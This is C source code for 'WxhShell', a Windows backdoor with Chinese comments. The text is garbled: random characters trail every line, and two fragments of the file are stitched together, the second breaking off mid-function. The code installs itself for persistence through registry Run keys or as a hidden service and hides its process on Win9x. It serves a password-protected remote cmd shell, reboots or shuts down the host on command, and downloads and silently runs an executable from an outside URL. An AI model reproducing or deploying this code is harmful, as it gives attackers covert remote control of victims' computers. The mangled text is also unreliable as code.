    else { =!Ce#p?h,  
    closesocket(wsh); dPO|x+N,  
    ExitThread(0); `ot <BwxJ  
    } dlB?/J<  
    break; (cLcY%$  
    } kjOPsz*0  
  // 关机 p5PTuJ>q  
  case 'd': { h:l4:{A64  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TOvpv@?-  
    if(Boot(SHUTDOWN)) Z%1{B*(e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )AoF-&,w  
    else { t $yt8#Tk  
    closesocket(wsh); ?PSVVU q,Z  
    ExitThread(0); jZLD^@AP  
    } |(6H)S]$  
    break; ! :XMP*g  
    } 6<N Q/*(/  
  // 获取shell nW7Ew<`Q  
  case 's': { /+{]?y,  
    CmdShell(wsh); dxAP7v  
    closesocket(wsh); Weu%&u-  
    ExitThread(0); "2a&G3}t"  
    break; 2,.;Mdl  
  } e~iPN.'1  
  // 退出 PShluhY  
  case 'x': { QXg9ah~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s!Y`1h{  
    CloseIt(wsh); 9Vh>ty1|_  
    break; whdoG{/  
    } E,g5[s@  
  // 离开 r"aJ&~8::W  
  case 'q': { \$%q< _l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u/g4s (a  
    closesocket(wsh); }8,[B50  
    WSACleanup(); ;&8  
    exit(1); +K"8Q'&t  
    break; xKW`m  
        } [>y0Xf9^  
  } bQelU  
  } >t Ll|O+  
1e(Q I) ~  
  // 提示信息 g (:%E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bL9EX$P  
} _(.,<R5  
  } uxsfQ%3`#  
>L{s[pLJ  
  return; _}RzJKl@  
} 8R;A5o,  
E` aAPk_ y  
// shell模块句柄 e"]*^Q  
int CmdShell(SOCKET sock) U6M3,"?  
{ ~+r"% KnG  
STARTUPINFO si; }'.k  
ZeroMemory(&si,sizeof(si)); pcl '!8&7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nm.~~h+8M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h..D1(M  
PROCESS_INFORMATION ProcessInfo; Am&PH(}L  
char cmdline[]="cmd"; ?.%'[n>P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4EtP|  
  return 0; f+o%N  
} Pk 6l*+"r<  
Fs|aH-9\  
// 自身启动模式 1P1"xT  
int StartFromService(void) ~Vf+@_G8`  
{ M^twD*  
typedef struct *6b$l.Vs  
{ *4<Kz{NF  
  DWORD ExitStatus; 6;8Jy  
  DWORD PebBaseAddress; z/&2Se:  
  DWORD AffinityMask; "`'' eV3  
  DWORD BasePriority; 9=wt9` ?  
  ULONG UniqueProcessId; j4hiMI;  
  ULONG InheritedFromUniqueProcessId; \vR&-+8dk  
}   PROCESS_BASIC_INFORMATION; +o94w^'^$b  
!f^'-  
PROCNTQSIP NtQueryInformationProcess; AO "pm  
gPrIu+|F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gBZ1Weu-'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |&hu3-(  
u_~*)w+mS@  
  HANDLE             hProcess; },@1i<Bb  
  PROCESS_BASIC_INFORMATION pbi; 5C^oqUZ  
@C34^\aH+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^A"TY  
  if(NULL == hInst ) return 0; `*`@ro  
MsL*\)*s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6)B6c. 5o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $%ts#56*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hQT  p&  
hb_J. Q  
  if (!NtQueryInformationProcess) return 0; |re>YQ!zd  
?z]h Ysy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -(Y(K!n  
  if(!hProcess) return 0; ![OKmy  
cJ> #jl&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;[ag|YU$Y  
cGVIO"(VP  
  CloseHandle(hProcess); j$TTLFK1  
X$<s@_#1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n M?mdb  
if(hProcess==NULL) return 0; yK #9)W-  
jhN]1t /\X  
HMODULE hMod; ;>z.wol  
char procName[255]; x?unE@?\S  
unsigned long cbNeeded; e t$VR:  
kkz{;OW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [-$:XOO  
{+&qC\YF  
  CloseHandle(hProcess); 'p{N5eM  
fA k]]PU  
if(strstr(procName,"services")) return 1; // 以服务启动 nhm)P_p   
[A.ix}3mm  
  return 0; // 注册表启动 <+tSTc4>r  
} Z"T#"FDIr  
yG`J3++ S  
// 主模块 P!apAr  
int StartWxhshell(LPSTR lpCmdLine) wePhH*nQ>  
{ g2&%bNQ-5  
  SOCKET wsl; (pl|RmmDz  
BOOL val=TRUE; aU)NbESu  
  int port=0; ZB5:FtW4  
  struct sockaddr_in door; ky^p\dMh  
=@%Ukrd@  
  if(wscfg.ws_autoins) Install(); ]&dU%9S  
(zO)J`z>  
port=atoi(lpCmdLine); &`RD5uml  
Y$%z]i5   
if(port<=0) port=wscfg.ws_port; cen[|yCtOH  
Pr%Y!|  
  WSADATA data; m@z.H;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^4\h Z  
c8^M::NI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $@[`v0y*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w4m)lQM  
  door.sin_family = AF_INET; <h*r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DLWG0$#!  
  door.sin_port = htons(port); zv^km5by  
nI_43rG:Uf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sr=~U q{g  
closesocket(wsl); M$9?{8m  
return 1; m~#f L  
} IsC`r7  
+p%!G1Yz  
  if(listen(wsl,2) == INVALID_SOCKET) { 3Dd"qON!  
closesocket(wsl); ZJ$nHS?ra  
return 1; @&AUbxoj  
} ~ry B*eZH  
  Wxhshell(wsl); j`'9;7h M6  
  WSACleanup(); &RzkM4"  
WB7pdSZ  
return 0; 'nrX RDb  
* 7<{Xbsj^  
} 0I`)<o-  
/oWn0  
// 以NT服务方式启动 .}wVM`81z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q, 8TOn  
{ 2+2Gl7" s  
DWORD   status = 0; /{[Y l[{"<  
  DWORD   specificError = 0xfffffff; DxFmsjX[L  
cL]vJ`?Ih  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .;1tu+S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8,0WHivg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ly7|:IbC  
  serviceStatus.dwWin32ExitCode     = 0; Hz*5ZIw  
  serviceStatus.dwServiceSpecificExitCode = 0; /Vg=+FEO  
  serviceStatus.dwCheckPoint       = 0; eNwF<0}  
  serviceStatus.dwWaitHint       = 0; CWTPf1?eB  
x'4q`xDa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3?do|>  
  if (hServiceStatusHandle==0) return; 4Pbuv6`RK  
t==CdCl  
status = GetLastError(); "}ms|  
  if (status!=NO_ERROR) rF3QmR?l  
{  rk F>c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `Mh 3v@K:  
    serviceStatus.dwCheckPoint       = 0; &!xePKvO6k  
    serviceStatus.dwWaitHint       = 0; ko2T9NI:S  
    serviceStatus.dwWin32ExitCode     = status; YKUb'D:t]  
    serviceStatus.dwServiceSpecificExitCode = specificError; $j+RUelFY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9?jD90@ }  
    return; |2$wJ$ I  
  } V>$A\AWw  
u\jQe@j '  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WS!:w'rzr  
  serviceStatus.dwCheckPoint       = 0; AqdQiZ^9  
  serviceStatus.dwWaitHint       = 0; K-a~Kr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /tG0"1{  
} R">-h;#  
Mx7  
// 处理NT服务事件,比如:启动、停止 va`/Dp)M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -KuC31s_W  
{ D <16m<b  
switch(fdwControl) ,esryFRG  
{ K4G43P5q`  
case SERVICE_CONTROL_STOP: g+X .8>=  
  serviceStatus.dwWin32ExitCode = 0; Rz #&v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~yGD("X  
  serviceStatus.dwCheckPoint   = 0;  .J0Tn,m  
  serviceStatus.dwWaitHint     = 0; XTibx;yd<  
  { u . xUM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /S9(rI<'  
  } ;ewqGDe'3  
  return; Sj[iKCEKtv  
case SERVICE_CONTROL_PAUSE: =T?:b8yV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R2e":`0I  
  break; *N C9S,eSP  
case SERVICE_CONTROL_CONTINUE: ]FQO@ y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]g3RVA%\l  
  break; SJ4+s4!l <  
case SERVICE_CONTROL_INTERROGATE: ep$C nBwE  
  break; <T3v|\6~H  
}; YQH=]5r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DL t"cAW  
} FQ3{~05T  
|[ )e5Xhd  
// 标准应用程序主函数 b-`=^ny)K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sa7F-XM  
{ 2`[iTBZ=^  
1iiQW  
// 获取操作系统版本 7K5D,"D;1  
OsIsNt=GetOsVer(); 9GV1@'<Y]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qf>$'C(7!a  
(2SmB`g   
  // 从命令行安装 \~r`2p-K  
  if(strpbrk(lpCmdLine,"iI")) Install(); Mur)'  
o4zX 41W  
  // 下载执行文件 1Zh4)6x  
if(wscfg.ws_downexe) { ^%qe&Pe2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :pp@x*uNP  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fu z'!  
} +n)_\@aQ  
fK0VFN8<I  
if(!OsIsNt) { JZo18^aD"'  
// 如果时win9x,隐藏进程并且设置为注册表启动 [J{M'+a  
HideProc(); z AZ+'9LB  
StartWxhshell(lpCmdLine); Hdn%r<+c  
} ev{;}2~V  
else k(]R;`f$W  
  if(StartFromService()) mnG\qsKNLK  
  // 以服务方式启动 j6JK4{  
  StartServiceCtrlDispatcher(DispatchTable); '#oNOU  
else Rs +),  
  // 普通方式启动 F%]Z yO9  
  StartWxhshell(lpCmdLine); <TDp8t9bU  
OxC8xB;`  
return 0; <\fB+ AZ  
} ,\Q^[e!m~  
oOAn 5t@  
l9P=1TL  
p9(|p Z  
=========================================== R^ln-H;  
DH>>u  
t|5T,YFG  
%$*WdK#  
}3TTtd7  
$!ATj`}kb  
" }#<mK3MBe  
nj (\+l5  
#include <stdio.h> C5F=J8pY  
#include <string.h> )&") J}@  
#include <windows.h> -Gyj]v5y`c  
#include <winsock2.h> .,9e~6}  
#include <winsvc.h> n | M~C\*  
#include <urlmon.h> {tDH !sX  
}t FRl  
#pragma comment (lib, "Ws2_32.lib") M}S1Zz%Ii1  
#pragma comment (lib, "urlmon.lib") om1@;u8u  
%FhUjHm  
#define MAX_USER   100 // 最大客户端连接数 WSKubn?7B  
#define BUF_SOCK   200 // sock buffer @CUYl*.PD  
#define KEY_BUFF   255 // 输入 buffer e|e"lP  
kR !O-@GJ]  
#define REBOOT     0   // 重启 Wp |qv  
#define SHUTDOWN   1   // 关机 J6C/`)+w  
LFskNF0X  
#define DEF_PORT   5000 // 监听端口 $SbgdbX  
fN!lXPgM  
#define REG_LEN     16   // 注册表键长度 ZYexW=@  
#define SVC_LEN     80   // NT服务名长度 GL^84[f-T  
#1z/rUh`Cr  
// 从dll定义API  T1\@4x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O!U8"Yr$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `:Bm@eN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7/969h^s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); us7t>EMmB  
IyPk3N  
// wxhshell配置信息 NRI @M5  
struct WSCFG { QE Q/  
  int ws_port;         // 监听端口 ng6".u9  
  char ws_passstr[REG_LEN]; // 口令 1KMSBLx  
  int ws_autoins;       // 安装标记, 1=yes 0=no "|^-Yk\U  
  char ws_regname[REG_LEN]; // 注册表键名 buu /Nz$  
  char ws_svcname[REG_LEN]; // 服务名 y7ZYo7avg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _Oc(K "v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _wp_y-"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EZee kxs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TZ+- >CG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =H_vRd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (~ `?_  
<C<z#M'`  
}; ~#];&WE  
B~h3naSe  
// default Wxhshell configuration _g2"D[I%  
struct WSCFG wscfg={DEF_PORT, *mjPNp'3{m  
    "xuhuanlingzhe", (Zz8 ldO  
    1, dQQ!QbI(.  
    "Wxhshell", 6BdK)s  
    "Wxhshell", ) -^(Su(!  
            "WxhShell Service", xh:A*ZI=7  
    "Wrsky Windows CmdShell Service", dI?x&#(vw  
    "Please Input Your Password: ", =3dR-3  
  1, *w`_(X f  
  "http://www.wrsky.com/wxhshell.exe", s|[CvjL#0  
  "Wxhshell.exe" 9-"!v0['  
    }; +/n<]?(T  
_PPn =kuMa  
// 消息定义模块 $V\Dl]a1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UGDB4S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ow50M;E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WI6h G  
char *msg_ws_ext="\n\rExit."; ]J^/`gc  
char *msg_ws_end="\n\rQuit."; { u %xc"0y  
char *msg_ws_boot="\n\rReboot..."; %}}?Y`/W )  
char *msg_ws_poff="\n\rShutdown..."; x+8%4]u`  
char *msg_ws_down="\n\rSave to "; 5rH?FQE  
^r@,(r6w  
char *msg_ws_err="\n\rErr!"; Pq(7lua7  
char *msg_ws_ok="\n\rOK!"; .2{*>Dzi  
+:kMYL3  
char ExeFile[MAX_PATH]; Jq*Q;}n  
int nUser = 0; jYk5]2#A  
HANDLE handles[MAX_USER]; WYm<_1  
int OsIsNt; {l9gYA  
r7jh)Q;BbR  
SERVICE_STATUS       serviceStatus; P}=U #AV4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ' >k1h.i  
yXT.]%)  
// 函数声明 +.-g`Vyz*  
int Install(void); `>Ms7G9S~e  
int Uninstall(void); -x VZm8y  
int DownloadFile(char *sURL, SOCKET wsh); tNG[|Bi#  
int Boot(int flag); hYbaVE  
void HideProc(void); nt_FqUJ  
int GetOsVer(void); W+I""I*mV  
int Wxhshell(SOCKET wsl); 7DPxz'7):  
void TalkWithClient(void *cs); ^O QeOTF  
int CmdShell(SOCKET sock); 0WSOA[R%[b  
int StartFromService(void); L_Xbca=  
int StartWxhshell(LPSTR lpCmdLine); A=+1PgL66  
iyv5\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jbn^G7vH<6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &Lbh?C  
*| as-!${k  
// 数据结构和表定义 <8ih >s(C  
SERVICE_TABLE_ENTRY DispatchTable[] = U'LPaf$O  
{ RqKkB8g  
{wscfg.ws_svcname, NTServiceMain}, i<{:J -U|  
{NULL, NULL} fb[? sc  
}; Q%:Z&lg y  
%uz6iQaq]X  
// 自我安装 9I[k3  
int Install(void) rV fZ_\|  
{ O$7cN\Z  
  char svExeFile[MAX_PATH]; > zfFvx_q  
  HKEY key; 3/ '5#$  
  strcpy(svExeFile,ExeFile); '<U4D  
pv,z$3Q  
// 如果是win9x系统,修改注册表设为自启动 *RmD%[f  
if(!OsIsNt) { K SJ Ko  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z#%s/TL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +`7!4gxwK!  
  RegCloseKey(key); E> N[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >mj WC) U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d*dPi^JjC  
  RegCloseKey(key); vDIsawbHD  
  return 0; QIfP%,LT  
    } 88VI _<  
  } /*(&Dmt>  
} D67z6jep(  
else { r72zWpF!Ss  
OkMAqS  
// 如果是NT以上系统,安装为系统服务 oDWNOw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P2F8[o!<  
if (schSCManager!=0) >FS}{O2c  
{ Rh%A^j@  
  SC_HANDLE schService = CreateService L]q%;u]8!  
  ( 0jt@|3  
  schSCManager, dKY#Tl]  
  wscfg.ws_svcname, ?e\u_3- 9  
  wscfg.ws_svcdisp, A{Qo}F<*  
  SERVICE_ALL_ACCESS, a- lF}P\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kDG?/j90D  
  SERVICE_AUTO_START, /!sGO:  
  SERVICE_ERROR_NORMAL, OBf$Z"i  
  svExeFile, X/ Ii}X/p  
  NULL, 3G'cDemc  
  NULL, ^iWJqpLe  
  NULL, g"N&*V2  
  NULL, P?@o?  
  NULL p) ?6~\F:  
  ); DiskGq@T  
  if (schService!=0) c`/kx  
  { Mp(;PbVD  
  CloseServiceHandle(schService); Q$Rp?o&  
  CloseServiceHandle(schSCManager); :o:Z   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1.5R`vKn]  
  strcat(svExeFile,wscfg.ws_svcname); :jJ0 +Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iI3,q-LA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z`#XB2,  
  RegCloseKey(key); <B'PB"R3y  
  return 0; +U iJWO  
    } 8\G"I  
  } U,lO{J[T  
  CloseServiceHandle(schSCManager); 8Y_lQfJa  
} ts; ^,|h  
} B%5"B} nG  
`~D{]'j  
return 1; cUO$IR)yL  
} \}AJ)v*<  
$wbIe"|  
// 自我卸载 y,K> Wb9e  
int Uninstall(void) FD5OO;$  
{ >3}N;  
  HKEY key; /]of @  
(C.aQ)|T  
if(!OsIsNt) { Fzt7@VNxc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $-.*8*9  
  RegDeleteValue(key,wscfg.ws_regname); TPLv]$n  
  RegCloseKey(key); O)"Z%B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lYey7tl{  
  RegDeleteValue(key,wscfg.ws_regname); 6n;? :./  
  RegCloseKey(key); 4%4Yqx )  
  return 0; 4y!GFhMh  
  } rxj#  
} |pBvy1e4)  
} t^2$ent  
else { :(4q\~  
wxN&k$`a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S4rm K&  
if (schSCManager!=0) DQ&\k'"\  
{ 0Hx'C^m72  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _:FD#5BZ1  
  if (schService!=0) )P,pW?h$  
  { qTN30(x2  
  if(DeleteService(schService)!=0) { E= .clA  
  CloseServiceHandle(schService); +:W?:\  
  CloseServiceHandle(schSCManager); A-*MH#QUKh  
  return 0; )-h{0o  
  } 7I*rtc&Kb  
  CloseServiceHandle(schService); o6:@j#b  
  } DR]4Tcz#  
  CloseServiceHandle(schSCManager); .KtK<Ps[S  
} TmK8z  
} ?A04qk  
qE8Di\?  
return 1; $ab{GxmX'4  
} Sj IDzNI5  
z2Z}mktP  
// 从指定url下载文件 .EvP%A m  
int DownloadFile(char *sURL, SOCKET wsh) B1]FB|0's  
{ =1xVw5^F  
  HRESULT hr; Cq3Au%7  
char seps[]= "/"; f0YBy<a  
char *token; 7K+eI!m.s  
char *file; m>?|*a,  
char myURL[MAX_PATH]; N`qGwNT%G  
char myFILE[MAX_PATH]; 16Jjf|]j  
FC  
strcpy(myURL,sURL); N34bB>_  
  token=strtok(myURL,seps); 1:_}`x=hM  
  while(token!=NULL) [z6P]eC7  
  { eu?P6>urA  
    file=token; d,Oe3?][0p  
  token=strtok(NULL,seps); ~M1T @Mv  
  } HGi%b5:<=M  
Y![8-L|Q  
GetCurrentDirectory(MAX_PATH,myFILE); n57mh5mixM  
strcat(myFILE, "\\"); B*P;*re  
strcat(myFILE, file); =LEzcq>XO  
  send(wsh,myFILE,strlen(myFILE),0); ;bL?uL  
send(wsh,"...",3,0); s.XxYXR\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~}SQLYy7Z  
  if(hr==S_OK) >GzH_]  
return 0; T'9M  
else !1@o Z(  
return 1; r"p"UW9og  
o{ccO29H/  
} :9(w~bB9$  
_@VKWU$$  
// 系统电源模块 lQ"t#b+  
int Boot(int flag) P ?96;  
{ 7HL23Vr k  
  HANDLE hToken; LX #.  
  TOKEN_PRIVILEGES tkp; *Wcq'S  
aC<fzUD;  
  if(OsIsNt) { jpOcug`f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F=f9##Y?7M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |!1iLWQ  
    tkp.PrivilegeCount = 1; ldc`Y/:{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (a~V<v"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Yp8XZ 3  
if(flag==REBOOT) { ,mKUCG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gKgdu($NJ  
  return 0; =/\l=*  
} *OHjw;xm+  
else { ?%/*F<UVQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zy~*~;6tW  
  return 0; ^K 9jJS9K  
} iR8;^C.aT  
  }  (C%qA<6  
  else { t+jdV  
if(flag==REBOOT) { 3M'Y'Szm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ej&o,gX  
  return 0; o=F!&]+  
} ,S~A]uH'  
else { A5O;C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jO`L:D/C  
  return 0; vkW;qt}yO  
} a)6?:nY$  
} }VVtv1  
g Eq6[G  
return 1; a t=;}}X  
} e`)zR'As  
f9'dZ}B  
// win9x进程隐藏模块 B74]hgK  
void HideProc(void) Hl8\*#;C&>  
{ kq(]7jU$[  
B0gs<E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $c LZ,N24  
  if ( hKernel != NULL ) 6^FUuj.  
  { Lo" s12fr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .e}`n)z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6c}nP[6|  
    FreeLibrary(hKernel); JqEo~]E]  
  } `[x'EJp#  
B<~BX [  
return; y@Td]6|f  
} 6']WOM#  
n.o_._mu2  
// 获取操作系统版本 9$%S<v  
int GetOsVer(void) cO-^#di  
{ 0_t9;;y :  
  OSVERSIONINFO winfo; aDE}'d1qo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *P`k|-  
  GetVersionEx(&winfo); SW HiiF@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :;Npk9P(N  
  return 1; yzXS{#\  
  else fOk(ivYy  
  return 0; |1T[P)Q  
} `|:` yl  
uFOYyrESc  
// 客户端句柄模块 *4l6+#W  
int Wxhshell(SOCKET wsl) e C&!yY2g  
{ 0 Gq<APtr  
  SOCKET wsh; &*~_ "WyU  
  struct sockaddr_in client; ^n\g,  
  DWORD myID; #Q|ACNpYM  
1NK,:m  
  while(nUser<MAX_USER) 3:b5#c?R-  
{ 4c.!^EiV  
  int nSize=sizeof(client); p,\(j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n5*m x7  
  if(wsh==INVALID_SOCKET) return 1; y"zZ9HQM  
G52z5-=v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]YB,K)WQ  
if(handles[nUser]==0) X\BdN Hr  
  closesocket(wsh); % "ZC9uq?  
else zZ8:>2Ps(  
  nUser++; X u>]$+u#  
  } 2JHV*/Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !'=< uU-  
i"{znKz vD  
  return 0; >}86#^F  
} J z-RMX=  
&3P"l.j  
// 关闭 socket c2yZvi  
void CloseIt(SOCKET wsh) ~e+pa|lO  
{ EsLtC5]  
closesocket(wsh); VJtRL')  
nUser--; Sqla+L*  
ExitThread(0); {%X[Snv  
} M|7{ZE`Y  
OL623jQX  
// 客户端请求句柄 nB%[\LtZ?  
void TalkWithClient(void *cs) }]j#C  
{ IZxr;\dq6  
\Pd>$Q  
  SOCKET wsh=(SOCKET)cs; 7#9fcfL  
  char pwd[SVC_LEN]; ~8[`(/hj  
  char cmd[KEY_BUFF]; j8ac8J,}c  
char chr[1]; uecjR8\e  
int i,j; CbT ;#0  
wd Di5-A4  
  while (nUser < MAX_USER) { tj tN<y  
&lB>G[t  
if(wscfg.ws_passstr) { !:1BuiL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F>5)Clq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <ceJ!"L  
  //ZeroMemory(pwd,KEY_BUFF); t;lK=m|  
      i=0; 4n2*2 yTg  
  while(i<SVC_LEN) { A)kdY!}  
g=S|lVQm  
  // 设置超时 prVqV-S6TY  
  fd_set FdRead; J8DKia|h(  
  struct timeval TimeOut; smuQ1.b  
  FD_ZERO(&FdRead); byJ[1UK  
  FD_SET(wsh,&FdRead); , L8(Vo`-  
  TimeOut.tv_sec=8; Ewo6Q){X  
  TimeOut.tv_usec=0; vH]2t.\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R78lV -};Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;-kg3fGB1Q  
alZ83^YN'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YU1z\pK  
  pwd=chr[0]; f7 zGz  
  if(chr[0]==0xd || chr[0]==0xa) { aOW$H:b  
  pwd=0; 5K$d4KT  
  break; sHHu<[psM  
  } vNAQ/Q  
  i++; FX/f0C3CK  
    } #vT~D>zj  
R"e533  
  // 如果是非法用户,关闭 socket ?;p45y~n%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s%)>O{{)  
} 4zf(  
n*N`].r#{=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \p J<@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D(M^%z2N  
QeD ;GzG  
while(1) { ]U5/!e  
6$p6dmV|  
  ZeroMemory(cmd,KEY_BUFF); M}9PicI?7  
Rhh.fV3  
      // 自动支持客户端 telnet标准   =OooTZb:x-  
  j=0; :"Kr-Hm`  
  while(j<KEY_BUFF) { o>\epQt~/p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rd}|^&e!Dy  
  cmd[j]=chr[0]; ,}$[;$ye  
  if(chr[0]==0xa || chr[0]==0xd) { +K"d\<  
  cmd[j]=0; 2sT\+C&H  
  break; 3F9AnS  
  } !ziO1U  
  j++; 9 H~OC8R:  
    } 4NmLbM&C8  
;d||u  
  // 下载文件 -@`!p  
  if(strstr(cmd,"http://")) { mvGj !'  
